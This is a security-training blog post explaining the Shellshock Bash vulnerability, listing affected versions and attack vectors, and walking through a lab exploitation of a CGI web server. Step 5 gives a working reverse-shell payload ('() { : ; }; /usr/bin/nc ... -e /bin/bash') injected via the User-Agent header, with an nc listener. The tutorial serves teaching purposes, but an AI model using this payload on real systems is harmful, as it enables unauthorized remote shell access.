ShellShock: All You Need to Know About the Bash Bug Vulnerability

March 27, 2018 | Views: 5670

Begin Learning Cyber Security for FREE Now!

FREE REGISTRATIONAlready a Member Login Here

Shellshock is basically Remote Command Execution vulnerability in BASH also known as Bashdoor.

In this vulnerability, BASH incorrectly executes trailing commands when it imports a function definition stored into an environment variable.

Bash allows exporting shell functions to other bash instances. It is done by creating an environment variable with the function definition.

v  Affected bash versions:

All versions of Bash up to and including version 4.3 are vulnerable.  To be sure, check with your *nix vendor’s website for specific patched versions.

Check Bash version using command: bash –version.

v  Specific exploitation vectors:

1.    CGI-based web server

2.    OpenSSH server

3.    DHCP clients

4.    Qmail server

5.    IBM HMC restricted shell

v  Exploit example

ü  Remote Machine: (CGI based web-server which is vulnerable to shellshock)

Available at:

ü  Local Machine     : (Kali-Linux machine which we use for exploit remote server)

Step 1: Using “gobuster”, identified that web-server uses the Common Gateway Interface (CGI) to handle a document request.

CGI based web-server copies certain information like User-agents from the request into the environment variable list and then delegates the request to a handler program.

Step 2: Using “Burp suite”, capture the request of accessing /cgi-bin/status files and sent it to burp suite’s repeater tab.


Step 3: Now in the repeater tab, sent the request and not down the response of the server.

Step 4: Now using NC command, on our local machine (local machine IP: start listening the port 5454. So if remote machine get exploited successfully it will make connection to port 5454.

Step 5: Now to exploit shellshock vulnerability, we will replace the “User-Agent:” contents with shellshock payload like “() { : ; }; /usr/bin/nc 5454 -e /bin/bash.

On successful exploitation arbitrary OS command nc  5454  of shellshock payload will get executed and create connection to our local machine on port 5454 and will get the shell access to the remote machine.

Step 6: As our payload successfully exploited on remote server we got the connection on out local machine where we are listening on port 5454 from remote machine (IP:

Step 6: Now we will try to get interactive shell on Remote exploited machine and can enumerate further.

Share with Friends
Use Cybytes and
Tip the Author!
Share with Friends
Ready to share your knowledge and expertise?
1 Comment
Comment on This

You must be logged in to post a comment.

Our Revolution

We believe Cyber Security training should be free, for everyone, FOREVER. Everyone, everywhere, deserves the OPPORTUNITY to learn, begin and grow a career in this fascinating field. Therefore, Cybrary is a free community where people, companies and training come together to give everyone the ability to collaborate in an open source way that is revolutionizing the cyber security educational experience.

Support Cybrary

Donate Here to Get This Month's Donor Badge


We recommend always using caution when following any link

Are you sure you want to continue?